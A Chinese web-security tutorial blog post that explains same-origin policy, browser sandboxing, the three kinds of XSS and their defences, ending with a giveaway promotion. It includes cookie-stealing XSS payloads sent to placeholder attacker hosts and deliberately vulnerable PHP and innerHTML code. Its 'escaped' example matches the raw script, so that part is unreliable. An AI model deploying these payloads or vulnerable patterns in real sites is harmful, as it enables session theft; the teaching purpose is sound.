前言
自编写python渗出工具编写学习条记专栏以来，笔者便发现了一个较为严峻的问题：我们大多数文章都是学习如何用python编写扫描与使用漏洞的渗出工具，却没有真正解析漏洞的形成缘故原由，长此以往我们的学习就只会浮于表面，广而不深。为了改变这一现状，笔者决定以深入学习漏洞为主，编写漏洞渗出工具为辅（当然不意味着两专栏更新频率不均），新开了web渗出安全学习条记专栏。那么，就让我们开始本日的学习吧！
坚持科技向善，勿超过法律边界，代码仅供教学目的。初出茅庐，如有错误望各位不吝赐教。
点此前往python渗出工具编写学习条记专栏：python渗出工具编写学习条记
1.1 web的组成
Web的组成主要包括以下几个要素：
网络基础办法： 包括各种网络装备，如服务器、路由器、交换机等，用于连接和传输数据。
互联网协议（Internet Protocol, IP） ：是互联网数据传输的根本协议，负责将数据分割成数据包并传输给指定的目的地址。
域名体系（Domain Name System, DNS）： 用于将易于影象的域名转换为对应的IP地址，方便用户访问网站。
HTTP协议（HyperText Transfer Protocol）：
是Web中用于传输超文本（如HTML、CSS、JS等）的协议，它定义了客户端和服务器之间的通讯规则。
CSP（Web Content Security Policy）：
是一种基于HTTP头部的安全策略，用于保护网站免受恶意代码的攻击。它答应网站管理员定义哪些外部资源可以被加载，并限定内联脚本、内联样式和其他不安全的操作。
万维网（World Wide Web）：是一个基于HTTP协议的信息体系，包括了各种网页、网站和资源。
编写web的语言主要是一下三种：
- HTML（HyperText Markup Language）：是用于创建Web页面的标记语言，是Web的基础。
- CSS（Cascading Style Sheets）：是用于控制网页样式的语言，可以定义网页的布局、字体、颜色等表面。
- JavaScript：是一种用于增强网页交互性的脚本语言，可以操作网页元素、响应用户操作等。
C/S架构（Client/Server）：
是指客户端和服务器之间的架构模式。在C/S架构中，客户端负责处置惩罚用户界面和用户交互，而服务器负责处置惩罚数据存储和业务逻辑。客户端通过网络连接到服务器，发送请求并吸收响应。这种架构模式通常用于须要高性能和复杂业务逻辑的应用程序，例如在线游戏和大型企业应用。
B/S架构（Browser/Server Architecture）：
是指欣赏器和服务器之间的架构模式。在B/S架构中，欣赏器作为客户端，负责处置惩罚用户界面和用户交互，而服务器负责处置惩罚数据存储和业务逻辑。用户通过欣赏器访问网页，欣赏器发送请求到服务器并吸收响应。这种架构模式通常用于Web应用程序，例如网上购物和交际媒体
1.2 同源策略
同源策略是一种Web欣赏器安全机制，它的目的是防止恶意网站通过脚本等方式访问用户的敏感信息大概执行恶意操作。
同源策略答应同一个域名下的不同网页、文件或数据之间进行相互交互。 要透彻的学习同源策略，我们先来学习源是什么：
源（origin）：
是一个由协议（如HTTP、HTTPS）、域名和端标语组成的标识。源被用于确定一个文档或脚本来自哪个源，以及答应哪些源访问特定资源的规则。同源策略通过限定不同源之间的交互来增加Web应用程序的安全性，防止恶意代码对不同源的资源进行访问和操作。
Web 内容的 源 由用于访问它的 [URL](https://developer.mozilla.org/zh-
CN/docs/Glossary/URL “URL”) 的 方案 （协议）、 主机名 （域名）和 端口
定义。只有当协议、主机和端口都匹配时，两个对象才具有相同的源。示例如下：
服务器默认从 80 端口传送 HTTP 内容，以是以下两个地址同源：
- http://Eleven.com:80
- http://eleven.com
协议不同，以下两个地址不属于同源：
- http://eleven.com/sp1
- https://eleven.com/sp2
主机名不同，以下几个地址不属于同源：
- http://eleven.com
- http://www.eleven.com
- http://myapp.eleven.com
端口不同，以下几个地址不属于同源：
- http://eleven.com
- http://eleven.com:70
例如，当你在一个网页中使用JavaScript代码发送AJAX请求时，同源策略会阻止该请求访问不同域的资源。这意味着，如果你的网页代码来自于一个域名，那么它只能与来自同一域名的资源进行交互，而不能与其他域名的资源进行交互。
域: 是指在计算机网络中，一组具有相同属性的计算机或装备的聚集。域可以根据网络规模的不同，分为局域网（LAN）、城域网（MAN）和广域网（WAN）。
域名:
是指通过域名体系（DNS）来进行解析的由一串字符组成的名称，用于标识并定位互联网上的计算机、服务或资源。域名一般由若干部门组成，如www.example.com，其中www为子域名，example为二级域名，com为顶级域名。域名可以转化为对应的IP地址，从而实现网络上的通讯与访问。
资源： 可以包括笔墨、图片、视频、音频文件等等。
1.3 欣赏器沙箱
欣赏器沙箱是一种安全机制，用于隔离欣赏器中运行的不可信任代码（例如JavaScript代码）与操作体系和主机体系的其他部门。它创建了一个受控的情况，在其中运行代码，以确保代码无法直接访问或修改操作体系或主机体系中的敏感资源。
欣赏器沙箱通过限定不可信任代码的权限和访问范围来保护用户的装备和数据安全。它通常使用以下技术和步调来实现：
- 进程隔离：欣赏器将不同的标签页或网站运行在不同的进程中，以确保它们之间的代码和数据相互隔离。如许一来，一个恶意的网站或插件无法直接访问或修改其他网站或标签页中的数据。
- 沙盒情况：欣赏器为每个标签页或网站创建一个沙盒情况，在其中运行不可信任的代码。沙盒情况限定了代码的权限，例如禁止访问文件体系、网络以及操作体系级的功能。
- 内存保护：欣赏器使用内存保护技术来防止代码通过缓冲区溢出等漏洞来攻击体系。这些技术包括地址空间布局随机化（ASLR）和数据执行保护（DEP）。
- 权限管理：欣赏器沙箱使用权限管理机制，答应用户控制哪些资源可以被访问。例如，欣赏器会提示用户是否答应某个网站获取地理位置或访问摄像头。
1.4 初识XXS漏洞
XXS漏洞（Cross-Site Scripting
vulnerability）答应攻击者在网页上注入恶意脚本代码，从而获取用户的敏感信息大概对用户进行恶意操作。
XXS漏洞主要出如今Web应用程序中，它可以使用用户提交的数据大概其他不可信来源的数据来构造攻击代码。当用户访问包罗恶意脚本的受感染网页时，恶意脚本将在用户的欣赏器中执行，从而导致信息泄漏大概其他安全问题。接下来，我们将逐一解说三种范例的XXS漏洞。
1.4.1 存储型 XSS
攻击者将恶意脚本代码存储在目的网站的数据库中，当其他用户访问页面时，恶意代码会从服务器返回，并在用户的欣赏器中执行。这种范例的漏洞常见于留言板、评论区等用户可以输入内容的地方。
以下是一个存储型xxs的示例：
假设我们有一个简单的留言板应用程序，答应用户发布留言并将其表现在网页上。用户可以输入留言的内容，并将其保存到数据库中。然后，应用程序从数据库中检索留言并在网页上表现。
如今，假设攻击者输入以下内容作为留言：
- <script>
- alert("恶意脚本！");
- </script>
为了防止存储型xxs攻击，我们可以在用户输入时进行输入验证和过滤，确保只答应合法的内容进入数据库。可以使用一些特别字符过滤和编码技术，如HTML编码或JavaScript转义，以确保用户输入的内容不会被表明为脚本。
在这个示例中，我们可以使用HTML编码来处置惩罚用户输入。如许，攻击者输入的恶意脚本将被转义为HTML实体，而不会被欣赏器表明为脚本：
- <script>
- alert("恶意脚本！");
- </script>
1.4.2 反射型 XSS
攻击者通过诱使用户点击恶意链接或提交恶意表单等方式，将恶意代码注入到目的网站的URL参数中。而服务器在返回响应时，将恶意代码反射回用户的欣赏器，并在欣赏器中执行。这种范例的漏洞常见于搜索框、URL参数等用户可以输入内容的地方。
下面是一个简单的反射型XXS的示例：
假设我们有一个简单的登录页面，用户输入用户名和密码后提交表单，然后服务器将用户名展示在接待信息中。
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8">
- <title>Login Page</title>
- </head>
- <body>
- <h1>Login Page</h1>
- <form action="/login" method="post">
- <label for="username">Username:</label>
- <input type="text" id="username" name="username" required><br><br>
- <label for="password">Password:</label>
- <input type="password" id="password" name="password" required><br><br>
- <input type="submit" value="Login">
- </form>
- <h2>Welcome, <?php echo $_POST['username']; ?>!</h2>
- </body>
- </html>
例如，攻击者可以构造一个恶意的用户名如下：
- <script>alert('XSS Attack!');</script>
1.4.3 DOM型 XSS
DOM-based
XSS漏洞是一种特别的XSS漏洞，攻击者通过修改目的网页的DOM（文档对象模子）结构，使恶意脚本在用户的欣赏器中执行。这种范例的漏洞通常发生在JavaScript代码中，攻击者能够控制DOM元素的内容或属性，从而影响网页行为。
以下是一个简单的DOM型XSS示例：
- <!DOCTYPE html>
- <html>
- <head>
- <script>
- function xssAttack() {
- var userInput = document.getElementById("input").value;
- var output = document.getElementById("output");
- output.innerHTML = userInput; // 将用户输入的内容直接插入到页面中
- }
- </script>
- </head>
- <body>
- <h1>DOM型XSS示例</h1>
- <input type="text" id="input">
- <button onclick="xssAttack()">提交</button>
- <div id="output"></div>
- </body>
- </html>
1.5 XXS实例
下面我们来看几个使用XXS漏洞的实例：
1、使用DOM XSS漏洞进行持久性攻击和劫持用户会话：
假设有一个简单的留言板应用程序，用户可以在留言板上发布消息。应用程序将用户输入的消息直接插入到DOM中，而没有进行任何过滤或转义。
- <!DOCTYPE html>
- <html>
- <head>
- <title>留言板</title>
- </head>
- <body>
- <h1>留言板</h1>
- <div id="messages"></div>
- <form id="messageForm">
- <input type="text" id="messageInput">
- <button type="submit">发布</button>
- </form>
- <script>
- // 获取留言板表单和消息容器
- var messageForm = document.getElementById('messageForm');
- var messagesContainer = document.getElementById('messages');
- // 监听表单提交事件
- messageForm.addEventListener('submit', function(event) {
- event.preventDefault(); // 阻止表单默认提交行为
- // 获取用户输入的消息
- var message = document.getElementById('messageInput').value;
- // 创建新的消息元素
- var newMessage = document.createElement('p');
- newMessage.textContent = message;
- // 将新的消息元素插入到消息容器中
- messagesContainer.appendChild(newMessage);
- // 清空输入框
- document.getElementById('messageInput').value = '';
- });
- </script>
- </body>
- </html>
- <script>
- // 恶意脚本，用于劫持用户会话或窃取用户敏感信息
- fetch('http://attacker.com/steal?cookie=' + document.cookie);
- </script>
2、窃取cookie：
- <!DOCTYPE html>
- <html>
- <head>
- <title>XSS漏洞示例</title>
- </head>
- <body>
- <h1>欢迎访问我的网站！</h1>
- <script>
- // 恶意脚本，用于窃取cookie
- var maliciousScript = document.createElement('img');
- maliciousScript.src = 'http://攻击者的恶意网站.com/steal.php?cookie=' + document.cookie;
- document.body.appendChild(maliciousScript);
- </script>
- </body>
- </html>
3、获取访问者IP:
- <!DOCTYPE html>
- <html>
- <head>
- <title>XSS漏洞示例</title>
- </head>
- <body>
- <h1>欢迎访问我的网站！</h1>
- <script>
- // 恶意脚本代码
- var img = new Image();
- img.src = 'http://攻击者的服务器地址/collect.php?ip=' + document.location.host;
- document.body.appendChild(img);
- </script>
- </body>
- </html>
1.6 XXS的防治
最后我们来了解一下，为了防止XXS攻击，我们有什么常见的防治步调：
- 输入验证：在吸收用户输入的地方进行输入验证，确保用户输入的数据符合预期的格式和内容。特别是对于用户输入的字符和脚本代码进行过滤，制止执行恶意代码。
- 输出编码：在将用户输入的数据输出到网页上时，对特别字符进行编码，以防止欣赏器将其解析为脚本代码。常见的编码方式包括HTML实体编码和URL编码。
- HttpOnly Cookie：将敏感信息存储在HttpOnly Cookie中，如许欣赏器无法通过脚本代码访问该Cookie，减少XXS攻击的风险。
- CSP（Content Security Policy）：通过设置CSP，限定网页中可以执行的脚本代码的来源，阻止外部恶意脚本的执行。
那么到这里就是本日的全部内容了。如有帮助，不胜荣幸。
本日只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
网络安全学习资源分享:
最后给大家分享我自己学习的一份全套的网络安全学习资料，希望对想学习 网络安全的小同伴们有帮助！
零基础入门
对于从来没有打仗过网络安全的同砚，我们帮你预备了具体的学习成长路线图。可以说是最科学最体系的学习路线，大家跟着这个大的方向学习准没问题。
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）
1.网络安全学习路线图
要学习一门新的技术，作为新手肯定要先学习成长路线图，方向不对，努力白费。
对于从来没有打仗过网络安全的同砚，我们帮你预备了具体的学习成长路线图&学习规划。可以说是最科学最体系的学习路线，大家跟着这个大的方向学习准没问题。
2.视频教程
网上虽然也有很多的学习资源，但根本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频解说。
技术文档也是我自己整理的，包括我到场大型网安行动、CTF和挖SRC漏洞的履历和技术要点，电子书也有200多本【点击领取技术文档】
（都打包成一块的了，不能一一展开，统共300多集）
3.技术文档和电子书
技术文档也是我自己整理的，包括我到场大型网安行动、CTF和挖SRC漏洞的履历和技术要点，电子书也有200多本【点击领取册本】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受接待的几十款款黑客工具。涉及范围主要集中在 信息网络、Android黑客工具、主动化工具、网络垂纶等，感兴趣的同砚不容错过。
最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。
这些题目都是大家在面试深佩服、奇安信、腾讯大概其它大厂面试时经常遇到的，如果大家有好的题目大概好的见解接待分享。
参考解析：深佩服官网、奇安信官网、Freebuf、csdn等
内容特点：条理清晰，含图像化表示更加易懂。
内容概要：包括 内网、操作体系、协议、渗出测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包罗、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。 |
